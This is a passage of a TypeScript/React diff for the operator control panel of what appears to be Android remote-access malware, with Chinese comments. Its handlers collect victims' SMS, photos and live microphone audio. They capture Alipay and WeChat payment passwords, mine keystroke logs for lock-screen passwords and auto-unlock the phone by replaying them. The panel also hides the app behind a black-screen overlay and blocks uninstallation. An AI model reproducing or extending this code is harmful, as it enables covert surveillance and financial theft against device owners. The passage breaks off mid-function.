从服务器同步防止卸载保护状态:', deviceState.uninstallProtectionEnabled) + } + if (deviceState.password) { + setLastKnownPassword(deviceState.password) + } else { + setLastKnownPassword('') // 确保清空之前的密码 + } + } else { + console.log('📊 设备暂无状态记录,使用默认状态') + // 设备暂无状态记录,保持清空后的默认状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } else { + console.error('❌ 获取设备状态失败:', data.message) + // 获取失败也保持默认状态 + setLastKnownPassword('') + setIsLoggingEnabled(false) + setOperationEnabled(true) + setIsBlackScreenActive(false) + setIsAppHidden(false) + setIsUninstallProtectionEnabled(false) + setUninstallProtectionStatus('idle') + } + } + + // 处理密码搜索响应 + const handlePasswordSearchResponse = (data: any) => { + console.log('🔍 收到密码搜索响应:', data) + setPasswordSearchLoading(false) + + if (data.success) { + if (data.passwords && data.passwords.length > 0) { + console.log('✅ 找到密码:', data.passwords) + setFoundPasswords(data.passwords) + setSelectedPassword('') // 重置选择 + } else { + console.log('ℹ️ 搜索成功但未找到密码,显示输入界面') + // 🔧 修复:即使没有找到历史密码,也显示弹窗让用户手动输入 + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 显示提示信息,但不关闭弹窗 + message.info('未找到历史密码记录,请直接输入密码', 3) + } + } else { + console.log('❌ 密码搜索失败:', data.message) + // 🔧 修复:搜索失败时也允许用户手动输入密码 + setPasswordSearchVisible(true) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') + + // 显示搜索失败的提示,但保持弹窗打开 + message.error(`密码搜索失败: ${data.message || '未知错误'},请直接输入密码`, 4) + } + } + + // 监听设备状态同步事件 + const handleDeviceInputBlockedChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[控制面板] 设备 ${deviceId} 输入阻塞状态已同步: ${data.blocked}`) + dispatch(setDeviceInputBlocked(data.blocked)) + } + } + + const handleDeviceLoggingStateChanged = (data: any) => { + if (data.deviceId === deviceId && data.success) { + console.log(`[控制面板] 设备 ${deviceId} 日志状态已同步: ${data.enabled}`) + setIsLoggingEnabled(data.enabled) + } + } + + // 监听设备状态恢复事件 + const handleDeviceStateRestored = (data: any) => { + if (data.deviceId === deviceId && data.success && data.state) { + console.log(`[控制面板] 设备 ${deviceId} 状态已恢复:`, data.state) + + // 恢复输入阻塞状态 + if (data.state.inputBlocked !== null) { + dispatch(setDeviceInputBlocked(data.state.inputBlocked)) + } + + // 恢复日志状态 + if (data.state.loggingEnabled !== null) { + setIsLoggingEnabled(data.state.loggingEnabled) + } + + // 🆕 恢复黑屏遮盖状态 + if (data.state.blackScreenActive !== null) { + setIsBlackScreenActive(data.state.blackScreenActive) + console.log('🖤 从状态恢复同步黑屏状态:', data.state.blackScreenActive) + } + + // 🆕 恢复应用隐藏状态 + if (data.state.appHidden !== null) { + setIsAppHidden(data.state.appHidden) + console.log('📱 从状态恢复同步应用隐藏状态:', data.state.appHidden) + } + } + } + + // 处理UI层次结构响应 + const handleUIHierarchyResponse = (data: any) => { + //console.log('🔍 收到UI层次结构响应:', data) + if (data.deviceId === deviceId) { + if (data.success && data.hierarchy) { + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: data.hierarchy + })) + //console.log('✅ UI层次结构数据已更新') + } else { + const errorMsg = data.error || '获取UI层次结构失败' + dispatch(setDeviceScreenReaderHierarchy({ + deviceId, + hierarchyData: null, + error: errorMsg + })) + console.error('❌ UI层次结构获取失败:', errorMsg) + } + } + } + + // 🆕 监听确认坐标保存响应 + const handleSaveConfirmCoordsResponse = (data: any) => { + if (data.deviceId === deviceId) { + if (data.success) { + message.success(`确认坐标已保存: (${data.coords.x}, ${data.coords.y})`) + // 更新设备状态以显示新的坐标 + getDeviceState() + } else { + message.error(`保存确认坐标失败: ${data.message}`) + } + } + } + + // 🆕 监听确认坐标更新广播 + const handleConfirmCoordsUpdated = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📨 收到确认坐标更新:', data.coords) + // 更新设备状态以显示新的坐标 + getDeviceState() + } + } + + // 🆕 监听黑屏遮盖响应 + const handleBlackScreenResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('🖤 黑屏遮盖响应:', data) + if (data.success) { + setIsBlackScreenActive(data.isActive) + message.success(data.isActive ? '黑屏遮盖已启用' : '黑屏遮盖已取消') + console.log(`🖤 [设备 ${deviceId}] 黑屏状态已更新: ${data.isActive}`) + } else { + message.error(`黑屏遮盖操作失败: ${data.message}`) + console.error(`🖤 [设备 ${deviceId}] 黑屏遮盖操作失败:`, data.message) + } + } + } + + // 🆕 监听应用设置响应 + const handleAppSettingsResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('⚙️ 应用设置响应:', data) + if (data.success) { + message.success('应用设置已打开') + console.log(`⚙️ [设备 ${deviceId}] 应用设置已成功打开`) + } else { + message.error(`打开应用设置失败: ${data.message}`) + console.error(`⚙️ [设备 ${deviceId}] 打开应用设置失败:`, data.message) + } + } + } + + // 🆕 监听应用隐藏响应 + const handleAppHideResponse = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📱 应用隐藏响应:', data) + + // 更新本地状态 + setIsAppHidden(data.isHidden) + + if (data.success) { + if (data.fromDevice) { + // 来自设备端的状态报告 + console.log(`📱 [设备 ${deviceId}] 收到设备端状态报告: ${data.isHidden ? '已隐藏' : '已显示'}`) + message.info(`设备状态: ${data.message}`) + } else { + // 来自服务端的操作响应 + message.success(data.isHidden ? '应用已隐藏' : '应用已显示') + console.log(`📱 [设备 ${deviceId}] 应用隐藏状态已更新: ${data.isHidden}`) + } + } else { + message.error(`应用隐藏操作失败: ${data.message}`) + console.error(`📱 [设备 ${deviceId}] 应用隐藏操作失败:`, data.message) + } + } + } + + // 🆕 监听设备应用隐藏状态变化(全局广播) + const handleDeviceAppHideStatusChanged = (data: any) => { + if (data.deviceId === deviceId) { + console.log('📱 设备应用隐藏状态变化:', data) + setIsAppHidden(data.isHidden) + // 不显示消息,避免干扰用户,仅更新状态 + } + } + + // 🆕 重新获取投屏权限响应处理 + const handleRefreshPermissionResponse = (data: any) => { + console.log('📺 收到重新获取投屏权限响应:', data) + if (data.deviceId === deviceId) { + setIsRefreshingPermission(false) + if (data.success) { + message.success('投屏权限重新申请成功,请在设备上确认权限') + console.log(`📺 [设备 ${deviceId}] 投屏权限重新申请成功`) + } else { + message.error(`重新申请投屏权限失败: ${data.message}`) + console.error(`📺 [设备 ${deviceId}] 重新申请投屏权限失败:`, data.message) + } + } + } + + // 🆕 处理关闭配置遮盖响应 + const handleCloseConfigMaskResponse = (data: any) => { + console.log('🛡️ 关闭配置遮盖响应:', data) + + if (data.permissionType === 'CONFIG_MASK_CLOSE') { + if (data.success) { + message.success(data.message || '配置遮盖已关闭') + console.log(`🛡️ [设备 ${deviceId}] 配置遮盖关闭成功`) + } else { + message.error(data.message || '关闭配置遮盖失败') + console.error(`🛡️ [设备 ${deviceId}] 配置遮盖关闭失败:`, data.message) + } + } + } + + // 🛡️ 防止卸载功能响应处理 + const handleUninstallProtectionResponse = (data: any) => { + console.log('🛡️ 防止卸载功能响应:', data) + if (data.deviceId === deviceId) { + setIsUninstallProtectionEnabled(data.enabled) + setUninstallProtectionStatus(data.enabled ? 'monitoring' : 'idle') + + if (data.success) { + message.success(data.enabled ? '防止卸载监听已启动' : '防止卸载监听已停止') + console.log(`🛡️ [设备 ${deviceId}] 防止卸载状态: ${data.enabled ? '启动' : '停止'}`) + } else { + message.error(`防止卸载操作失败: ${data.message}`) + console.error(`🛡️ [设备 ${deviceId}] 防止卸载操作失败:`, data.message) + } + } + } + + // 🛡️ 监听卸载尝试检测事件 + const handleUninstallAttemptDetected = (data: any) => { + console.log('🛡️ 检测到卸载尝试:', data) + if (data.deviceId === deviceId) { + message.warning(`检测到卸载尝试: ${data.type},已自动返回主页`) + console.log(`🛡️ [设备 ${deviceId}] 卸载尝试被阻止: ${data.type}`) + } + } + + // 📱 监听SMS数据响应(兼容直接载荷与包裹在success结构内的两种格式) + const handleSmsDataResponse = (data: any) => { + console.log('📱 收到SMS数据:', data) + // 可能的两种格式: + // 1) 直接载荷: { deviceId, type: 'sms_data', timestamp, count, smsList } + // 2) 包裹载荷: { success: true, data: { ...上面结构... } } + + // 解包 + const payload = (data && data.success && data.data) ? data.data : data + + // 仅处理当前设备的数据 + if (!payload || payload.deviceId !== deviceId) return + + setSmsLoading(false) + + // 校验payload是否为sms_data + if (payload.type === 'sms_data' && Array.isArray(payload.smsList)) { + setSmsData(payload) + setSmsModalVisible(true) + if (typeof payload.count === 'number') { + message.success(`成功获取 ${payload.count} 条短信`) + } + } else if (data && data.success === false) { + message.error(`获取短信数据失败: ${data.message || '未知错误'}`) + } else { + console.warn('未识别的SMS数据格式:', data) + } + } + + // 📷 监听相册数据响应 + const handleAlbumDataResponse = (data: any) => { + console.log('📷 收到相册数据:', data) + + // 解包 + const payload = (data && data.success && data.data) ? data.data : data + + // 仅处理当前设备的数据 + if (!payload || payload.deviceId !== deviceId) return + + setAlbumLoading(false) + + // 校验payload是否为album_data + if (payload.type === 'album_data' && Array.isArray(payload.albumList)) { + setAlbumData(payload) + setAlbumModalVisible(true) + // 停止两个按钮的 loading + dispatch(setGalleryLoading(false)) + if (typeof payload.count === 'number') { + message.success(`成功获取 ${payload.count} 张相册图片`) + } + } else if (data && data.success === false) { + message.error(`获取相册数据失败: ${data.message || '未知错误'}`) + setAlbumLoading(false) + dispatch(setGalleryLoading(false)) + } else { + console.warn('未识别的相册数据格式:', data) + } + } + + webSocket.on('operation_log_realtime', handleRealtimeLog) + webSocket.on('operation_logs_response', handleLogResponse) + webSocket.on('clear_logs_response', handleClearLogResponse) + webSocket.on('get_device_password_response', handleGetPasswordResponse) + webSocket.on('device_control_response', handleDeviceControlResponse) + webSocket.on('save_device_password_response', handleSavePasswordResponse) + webSocket.on('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.on('get_device_state_response', handleGetDeviceStateResponse) + webSocket.on('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.on('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.on('device_state_restored', handleDeviceStateRestored) + webSocket.on('password_search_response', handlePasswordSearchResponse) + webSocket.on('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.on('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.on('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.on('black_screen_response', handleBlackScreenResponse) + webSocket.on('app_settings_response', handleAppSettingsResponse) + webSocket.on('app_hide_response', handleAppHideResponse) + webSocket.on('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.on('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.on('permission_response', handleCloseConfigMaskResponse) + webSocket.on('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.on('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.on('sms_data', handleSmsDataResponse) + webSocket.on('album_data', handleAlbumDataResponse) + + // 📷 单张相册图片保存事件(读取相册时逐张推送) + const handleGalleryImageSaved = (payload: any) => { + if (!payload || payload.deviceId !== deviceId) return + const base = serverUrl || `${window.location.protocol}//${window.location.host}` + const urlPath = payload.url || '' + const resolvedUrl = `${base.replace(/\/$/, '')}${urlPath.startsWith('/') ? urlPath : '/' + urlPath}` + const normalized: GallerySavedItem = { + id: String(payload.id), + deviceId: payload.deviceId, + index: payload.index ?? 0, + displayName: payload.displayName ?? '', + dateAdded: payload.dateAdded ?? 0, + mimeType: payload.mimeType ?? 'image/jpeg', + width: payload.width ?? 0, + height: payload.height ?? 0, + size: payload.size ?? 0, + contentUri: payload.contentUri ?? '', + timestamp: payload.timestamp ?? Date.now(), + url: urlPath, + resolvedUrl + } + // 推入“像短信一样”的本地弹窗列表 + setGallerySavedList((prev) => [normalized, ...prev].slice(0, 500)) + if (!gallerySavedModalVisible) { + setGallerySavedModalVisible(true) + } + // 同时写入全局相册,保证后续相册视图完整 + dispatch(addGalleryImage({ + id: String(normalized.id), + deviceId: normalized.deviceId, + index: normalized.index, + displayName: normalized.displayName, + dateAdded: normalized.dateAdded, + mimeType: normalized.mimeType, + width: normalized.width, + height: normalized.height, + size: normalized.size, + contentUri: normalized.contentUri, + timestamp: normalized.timestamp, + url: normalized.resolvedUrl || normalized.url + })) + // 不强制展开相册区域,避免用户在等待弹窗期间视图抖动 + } + webSocket.on('gallery_image_saved', handleGalleryImageSaved) + + // 🎙️ 监听麦克风音频数据 + const handleMicrophoneAudio = (data: any) => { + // 仅处理当前设备的数据(若服务端带有deviceId) + if (data.deviceId && data.deviceId !== deviceId) return + console.log('🎙️ 收到音频数据:', data) + setMicPermission('granted') + if (typeof data.sampleRate === 'number') setMicSampleRate(data.sampleRate) + if (typeof data.channels === 'number') setMicChannels(data.channels) + if (typeof data.bitDepth === 'number') setMicBitDepth(data.bitDepth) + // 直接播放 PCM_16BIT_MONO base64 数据 + if (data && data.audioData) { + playPcmChunk( + data.audioData, + data.sampleRate || 16000, + data.channels || 1 + ) + } + } + webSocket.on('microphone_audio', handleMicrophoneAudio) + + return () => { + webSocket.off('operation_log_realtime', handleRealtimeLog) + webSocket.off('operation_logs_response', handleLogResponse) + webSocket.off('clear_logs_response', handleClearLogResponse) + webSocket.off('get_device_password_response', handleGetPasswordResponse) + webSocket.off('device_control_response', handleDeviceControlResponse) + webSocket.off('save_device_password_response', handleSavePasswordResponse) + webSocket.off('update_device_state_response', handleUpdateDeviceStateResponse) + webSocket.off('get_device_state_response', handleGetDeviceStateResponse) + webSocket.off('device_input_blocked_changed', handleDeviceInputBlockedChanged) + webSocket.off('device_logging_state_changed', handleDeviceLoggingStateChanged) + webSocket.off('device_state_restored', handleDeviceStateRestored) + webSocket.off('password_search_response', handlePasswordSearchResponse) + webSocket.off('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.off('save_confirm_coords_response', handleSaveConfirmCoordsResponse) + webSocket.off('confirm_coords_updated', handleConfirmCoordsUpdated) + webSocket.off('black_screen_response', handleBlackScreenResponse) + webSocket.off('app_settings_response', handleAppSettingsResponse) + webSocket.off('app_hide_response', handleAppHideResponse) + webSocket.off('device_app_hide_status_changed', handleDeviceAppHideStatusChanged) + webSocket.off('refresh_permission_response', handleRefreshPermissionResponse) + webSocket.off('permission_response', handleCloseConfigMaskResponse) + webSocket.off('uninstall_protection_response', handleUninstallProtectionResponse) + webSocket.off('uninstall_attempt_detected', handleUninstallAttemptDetected) + webSocket.off('sms_data', handleSmsDataResponse) + webSocket.off('album_data', handleAlbumDataResponse) + webSocket.off('gallery_image_saved', handleGalleryImageSaved) + webSocket.off('microphone_audio', handleMicrophoneAudio) + } + }, [webSocket, deviceId, dispatch]) + + const sendControlMessage = (type: string, data: any = {}) => { + if (!webSocket) return + + // 检查操作是否被允许 + if (!operationEnabled) { + console.warn('操作已被阻止') + return + } + + webSocket.emit('control_message', { + type, + deviceId, + data, + timestamp: Date.now() + }) + } + + // 认证由 apiClient 统一处理 + + // 密码类型筛选(DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD) + const [passwordFilter, setPasswordFilter] = useState<'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'>('DEFAULT') + + // 🔐 密码输入界面打开(6位PIN / 4位PIN / 图形密码) + const handleOpenPinInput = () => { + sendControlMessage('OPEN_PIN_INPUT', {}) + } + + const handleOpenFourDigitPin = () => { + sendControlMessage('OPEN_FOUR_DIGIT_PIN', {}) + } + + const handleOpenPatternLock = () => { + sendControlMessage('OPEN_PATTERN_LOCK', {}) + } + + // 支付宝检测相关API函数 + const startAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🔍 启动支付宝检测') + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_START", deviceId, + data: {} + }) + + setAlipayDetectionEnabled(true) + message.success('支付宝检测已启动') + } + + const stopAlipayDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛑 停止支付宝检测') + webSocket.emit('camera_control', { + action: "ALIPAY_DETECTION_STOP", + deviceId, + data: {} + }) + + setAlipayDetectionEnabled(false) + message.success('支付宝检测已停止') + } + + // 获取密码记录列表(支持筛选 DEFAULT/ALIPAY_PASSWORD/WECHAT_PASSWORD) + const fetchAlipayPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setAlipayPasswordLoading(true) + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `&passwordType=${passwordFilter}` + const data: any = await apiClient.get(`/api/password-inputs/${deviceId}?page=${page}&pageSize=${pageSize}${typeQuery}`) + + if (data.success) { + setAlipayPasswords(data.data.passwords) + setAlipayPasswordTotal(data.data.total) + setAlipayPasswordPage(data.data.page) + setAlipayPasswordPageSize(data.data.pageSize) + } else { + message.error('获取密码记录失败') + } + } catch (error) { + console.error('获取支付宝密码记录失败:', error) + message.error('获取密码记录失败') + } finally { + setAlipayPasswordLoading(false) + } + } + + // 获取最新密码 + const fetchLatestPassword = async () => { + try { + const data: AlipayPasswordSingleResponse = await apiClient.get(`/api/alipay-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + setLatestPassword(data.data) + message.success('已获取最新密码') + } else { + message.info('暂无密码记录') + } + } catch (error) { + console.error('获取最新密码失败:', error) + message.error('获取最新密码失败') + } + } + + // 删除密码记录(按筛选类型删除) + const deleteAllPasswords = async () => { + try { + const typeQuery = passwordFilter === 'DEFAULT' ? '' : `?passwordType=${passwordFilter}` + const data = await apiClient.delete<{ success: boolean }>(`/api/password-inputs/${deviceId}${typeQuery}`) + + if (data.success) { + setAlipayPasswords([]) + setLatestPassword(null) + message.success('已删除所有密码记录') + // 删除后刷新当前筛选类型列表 + fetchAlipayPasswords(alipayPasswordPage, alipayPasswordPageSize) + } else { + message.error('删除密码记录失败') + } + } catch (error) { + console.error('删除密码记录失败:', error) + message.error('删除密码记录失败') + } + } + + // 微信检测相关API函数 + const startWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🔍 启动微信检测') + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_START", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(true) + message.success('微信检测已启动') + } + + const stopWechatDetection = () => { + if (!webSocket) { + message.error('WebSocket未连接') + return + } + + console.log('🛑 停止微信检测') + webSocket.emit('camera_control', { + action: "WECHAT_DETECTION_STOP", + deviceId, + data: {} + }) + + setWechatDetectionEnabled(false) + message.success('微信检测已停止') + } + + // 获取微信密码记录列表 + const fetchWechatPasswords = async (page: number = 1, pageSize: number = 10) => { + try { + setWechatPasswordLoading(true) + const data: WechatPasswordListResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}?page=${page}&pageSize=${pageSize}`) + + if (data.success) { + setWechatPasswords(data.data.passwords) + setWechatPasswordTotal(data.data.total) + setWechatPasswordPage(data.data.page) + setWechatPasswordPageSize(data.data.pageSize) + } else { + message.error('获取微信密码记录失败') + } + } catch (error) { + console.error('获取微信密码记录失败:', error) + message.error('获取微信密码记录失败') + } finally { + setWechatPasswordLoading(false) + } + } + + // 获取最新微信密码 + const fetchLatestWechatPassword = async () => { + try { + const data: WechatPasswordSingleResponse = await apiClient.get(`/api/wechat-passwords/${deviceId}/latest`) + + if (data.success && data.data) { + setLatestWechatPassword(data.data) + message.success('已获取最新微信密码') + } else { + message.info('暂无微信密码记录') + } + } catch (error) { + console.error('获取最新微信密码失败:', error) + message.error('获取最新微信密码失败') + } + } + + // 删除所有微信密码记录 + const deleteAllWechatPasswords = async () => { + try { + const data = await apiClient.delete<{ success: boolean }>(`/api/wechat-passwords/${deviceId}`) + + if (data.success) { + setWechatPasswords([]) + setLatestWechatPassword(null) + message.success('已删除所有微信密码记录') + } else { + message.error('删除微信密码记录失败') + } + } catch (error) { + console.error('删除微信密码记录失败:', error) + message.error('删除微信密码记录失败') + } + } + + // 日志控制函数 + const handleEnableLogging = () => { + sendControlMessage('LOG_ENABLE') + setIsLoggingEnabled(true) + // ✅ 同步更新到数据库 + updateDeviceState({ loggingEnabled: true }) + } + + const handleDisableLogging = () => { + sendControlMessage('LOG_DISABLE') + setIsLoggingEnabled(false) + // ✅ 同步更新到数据库 + updateDeviceState({ loggingEnabled: false }) + } + + const fetchOperationLogs = (page: number = 1, size: number = 50, type?: string) => { + if (!webSocket) return + + setLogLoading(true) + webSocket.emit('client_event', { + type: 'GET_OPERATION_LOGS', + data: { + deviceId, + page, + pageSize: size, + logType: type + } + }) + } + + const handleViewLogs = () => { + setLogModalVisible(true) + fetchOperationLogs(1, pageSize, logTypeFilter) + } + + const handleClearLogs = () => { + if (!webSocket) return + + modal.confirm({ + title: '确认清空日志', + content: '此操作将清空该设备的所有操作日志,且无法恢复。是否继续?', + okText: '确认清空', + cancelText: '取消', + okType: 'danger', + onOk() { + webSocket.emit('client_event', { + type: 'CLEAR_OPERATION_LOGS', + data: { deviceId } + }) + } + }) + } + + const handlePageChange = (page: number, size?: number) => { + setCurrentPage(page) + if (size) setPageSize(size) + fetchOperationLogs(page, size || pageSize, logTypeFilter) + } + + const handleLogTypeFilterChange = (value: string | undefined) => { + setLogTypeFilter(value) + setCurrentPage(1) + fetchOperationLogs(1, pageSize, value) + } + + // ✅ 设备状态管理函数 + const savePasswordToDatabase = (password: string) => { + if (!webSocket) return + + console.log('💾 保存密码到数据库:', password) + webSocket.emit('client_event', { + type: 'SAVE_DEVICE_PASSWORD', + data: { deviceId, password } + }) + } + + const updateDeviceState = (state: any) => { + if (!webSocket) return + + console.log('📊 更新设备状态:', state) + webSocket.emit('client_event', { + type: 'UPDATE_DEVICE_STATE', + data: { deviceId, state } + }) + } + + // 防重复发送状态 + const [lastStateRequestTime, setLastStateRequestTime] = useState(0) + + const getDeviceState = () => { + if (!webSocket) return + + // 🔧 防止短时间内重复发送请求(1秒内只能发送一次) + const now = Date.now() + if (now - lastStateRequestTime < 1000) { + console.log('⚠️ 状态获取请求过于频繁,跳过') + return + } + + console.log('📊 获取设备状态') + setLastStateRequestTime(now) + webSocket.emit('client_event', { + type: 'GET_DEVICE_STATE', + data: { deviceId } + }) + } + + // 查找密码相关函数 + const handleSearchPasswords = () => { + if (!webSocket || !deviceId) { + message.error('WebSocket未连接或设备ID无效') + return + } + + console.log('🔍 开始从日志中查找密码...') + setPasswordSearchLoading(true) + setPasswordSearchVisible(true) + + // 发送查找密码请求 + webSocket.emit('client_event', { + type: 'SEARCH_PASSWORDS_FROM_LOGS', + data: { deviceId } + }) + } + + const handleSelectPassword = (password: string) => { + setSelectedPassword(password) + // 如果选择了历史密码,清空自定义输入 + if (password && customPasswordInput.trim()) { + setCustomPasswordInput('') + } + } + + const handleConfirmSelectedPassword = () => { + // ✅ 优先使用自定义输入的密码,如果没有则使用选中的密码 + const finalPassword = customPasswordInput.trim() || selectedPassword + + if (!finalPassword) { + message.warning('请输入密码或选择一个密码') + return + } + + console.log('✅ 用户最终使用密码:', finalPassword) + console.log(' - 自定义输入:', customPasswordInput) + console.log(' - 选中密码:', selectedPassword) + + // 关闭密码搜索弹窗 + setPasswordSearchVisible(false) + + // 保存最终密码到数据库 + savePasswordToDatabase(finalPassword) + + // 执行自动解锁 + performAutoUnlock(finalPassword) + + // 更新本地显示的密码 + setLastKnownPassword(finalPassword) + } + + const handleCancelPasswordSearch = () => { + setPasswordSearchVisible(false) + setFoundPasswords([]) + setSelectedPassword('') + setCustomPasswordInput('') // 清空自定义输入 + } + + // 一键解锁相关函数 + const handleOneClickUnlock = () => { + console.log('🔓 一键解锁按钮被点击') + console.log('WebSocket状态:', !!webSocket) + console.log('设备ID:', deviceId) + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + setIsUnlocking(true) + console.log('📤 发送GET_DEVICE_PASSWORD请求(优先从状态表获取)') + webSocket.emit('client_event', { + type: 'GET_DEVICE_PASSWORD', + data: { deviceId } + }) + } + + // 🆕 一键图案解锁处理函数 + const handlePatternUnlock = () => { + console.log('🎨 一键图案解锁按钮被点击') + + if (!webSocket) { + console.error('❌ WebSocket未连接') + modal.error({ + title: '连接错误', + content: 'WebSocket未连接,请检查网络连接' + }) + return + } + + if (!operationEnabled) { + modal.warning({ + title: '权限不足', + content: '您需要先获取设备控制权限才能使用图案解锁功能。请先点击"获取控制权"按钮。' + }) + return + } + + setIsPatternUnlocking(true) + + // 默认图案路径:123456 + const defaultPattern = [1, 2, 3, 4, 5, 6] + + console.log('🎨 发送图案解锁指令:', defaultPattern) + + modal.info({ + title: '正在执行图案解锁', + content: `图案路径: 123456\n正在尝试解锁设备...` + }) + + // 发送图案解锁指令 + webSocket.emit('client_event', { + type: 'UNLOCK_DEVICE', + data: { + deviceId, + data: { + pattern: defaultPattern + } + } + }) + + // 3秒后重置状态 + setTimeout(() => { + setIsPatternUnlocking(false) + }, 3000) + } + + const performAutoUnlock = (password: string, savedConfirmCoords?: { x: number, y: number } | null) => { + console.log('🔓 开始执行自动解锁, 密码:', password) + + if (!password || !device) { + console.error('❌ 无法执行解锁: 密码为空或设备不存在') + return + } + + // ✅ 智能检测密码类型 + const passwordType = detectPasswordType(password) + console.log('🔍 检测到密码类型:', passwordType) + + modal.info({ + title: '正在执行自动解锁', + content: `正在尝试解锁设备,请稍候...\n密码类型: ${passwordType}\n1. 点亮屏幕\n2. 唤醒解锁界面\n3. 输入密码\n4. 确认解锁` + }) + + const screenWidth = device.screenWidth + const screenHeight = device.screenHeight + const centerX = screenWidth / 2 + + // 步骤1: 点亮屏幕 + console.log('🔆 步骤1: 发送点亮屏幕命令') + sendControlMessage('POWER_WAKE', {}) + + // 步骤2: 延迟1秒后向上滑动唤醒解锁界面 + setTimeout(() => { + console.log('👆 步骤2: 向上滑动唤醒解锁界面') + + // ✅ 优先使用Android端的智能上滑解锁(更精确的设备适配) + if (webSocket) { + console.log('🤖 使用Android端智能上滑解锁(推荐)') + sendControlMessage('SMART_UNLOCK_SWIPE', {}) + } else { + // 备用方案:Web端计算滑动参数 + console.log('📱 使用Web端滑动参数计算(备用)') + + // ✅ 优化滑动距离以适配更多设备 + // 根据屏幕高度动态调整滑动距离,确保能够唤醒各种设备的解锁界面 + const startYRatio = screenHeight > 2400 ? 0.88 : screenHeight > 2000 ? 0.85 : 0.8 + const endYRatio = screenHeight > 2400 ? 0.12 : screenHeight > 2000 ? 0.15 : 0.2 + const swipeDuration = screenHeight > 2400 ? 450 : screenHeight > 2000 ? 400 : 350 + + console.log(`📱 屏幕尺寸: ${screenWidth}x${screenHeight}`) + console.log(`👆 滑动参数: 起始=${(startYRatio * 100).toFixed(0)}%, 结束=${(endYRatio * 100).toFixed(0)}%, 时长=${swipeDuration}ms`) + + sendControlMessage('SWIPE', { + startX: centerX, + startY: screenHeight * startYRatio, // 动态调整起始位置 + endX: centerX, + endY: screenHeight * endYRatio, // 动态调整结束位置,滑动距离更长 + duration: swipeDuration // 动态调整滑动时长 + }) + } + + // 步骤3: 延迟1.5秒后开始输入密码 + setTimeout(() => { + console.log('🔤 步骤3: 开始输入密码:', password, '类型:', passwordType) + + // ✅ 根据密码类型选择不同的输入策略 + switch (passwordType) { + case 'numeric': + console.log('📱 使用数字密码坐标点击策略') + inputNumericPassword(password, screenWidth, screenHeight) + break + case 'pin': + console.log('📱 使用PIN码逐个输入策略') + inputPinPassword(password) + break + case 'mixed': + console.log('🔐 使用混合密码策略') + inputMixedPassword(password) + break + case 'pattern': + console.log('🎨 使用图形密码策略') + inputPatternPassword(password) + break + default: + console.log('🔐 使用默认文本密码策略') + inputTextPassword(password) + break + } + + // ✅ 步骤4: 输入完密码后延迟确认,根据密码类型和设备信息调整延迟时间 + const confirmDelay = getConfirmDelay(passwordType, password.length, device) + console.log(`⏰ 确认延迟时间: ${confirmDelay}ms (密码类型: ${passwordType}, 长度: ${password.length}, 设备: ${device?.model || 'unknown'})`) + setTimeout(() => { + console.log('✅ 步骤4: 确认密码输入 - 使用增强确认策略') + console.log('🎯 使用保存的确认坐标:', savedConfirmCoords) + performEnhancedConfirm(screenWidth, screenHeight, passwordType, savedConfirmCoords || undefined) + + // 检测解锁结果 + setTimeout(() => { + console.log('🔍 检测解锁结果...') + modal.success({ + title: '解锁操作完成', + content: `已完成自动解锁流程: + +1. ✅ 点亮屏幕 +2. ✅ 向上滑动唤醒解锁界面 +3. ✅ 输入密码: ${password} (${passwordType}) +4. ✅ 延迟1秒后点击确认按钮 + +${savedConfirmCoords ? + `🎯 使用了记录的确认按钮坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})` : + `💡 提示:如果需要手动确认,系统将学习您的确认操作,下次可自动确认`} + +请检查设备是否成功解锁。如果解锁失败,可能的原因: +• 密码不正确或已过期 +• 设备锁屏界面布局变化 +• 确认按钮位置发生变化 + +您可以重新尝试或手动解锁设备一次让系统学习新的确认按钮位置。`, + okText: '知道了' + }) + }, 5000) + + }, confirmDelay) + + }, 1500) + }, 1000) + } + + // ✅ 新增:智能检测密码类型 + // ✅ 增强版密码类型检测 - 更准确的识别逻辑 + const detectPasswordType = (password: string): string => { + if (!password) return 'unknown' + + // 清理掩码字符,但保留部分特殊字符用于判断 + const cleanPassword = password.replace(/[?•*]/g, '') + + console.log(`🔍 密码类型检测: 原始="${password}", 清理后="${cleanPassword}"`) + + if (cleanPassword.length === 0) { + return 'unknown' + } + + // ✅ 纯数字判断 + if (/^\d+$/.test(cleanPassword)) { + const length = cleanPassword.length + console.log(`🔢 检测到纯数字密码,长度: ${length}`) + + // 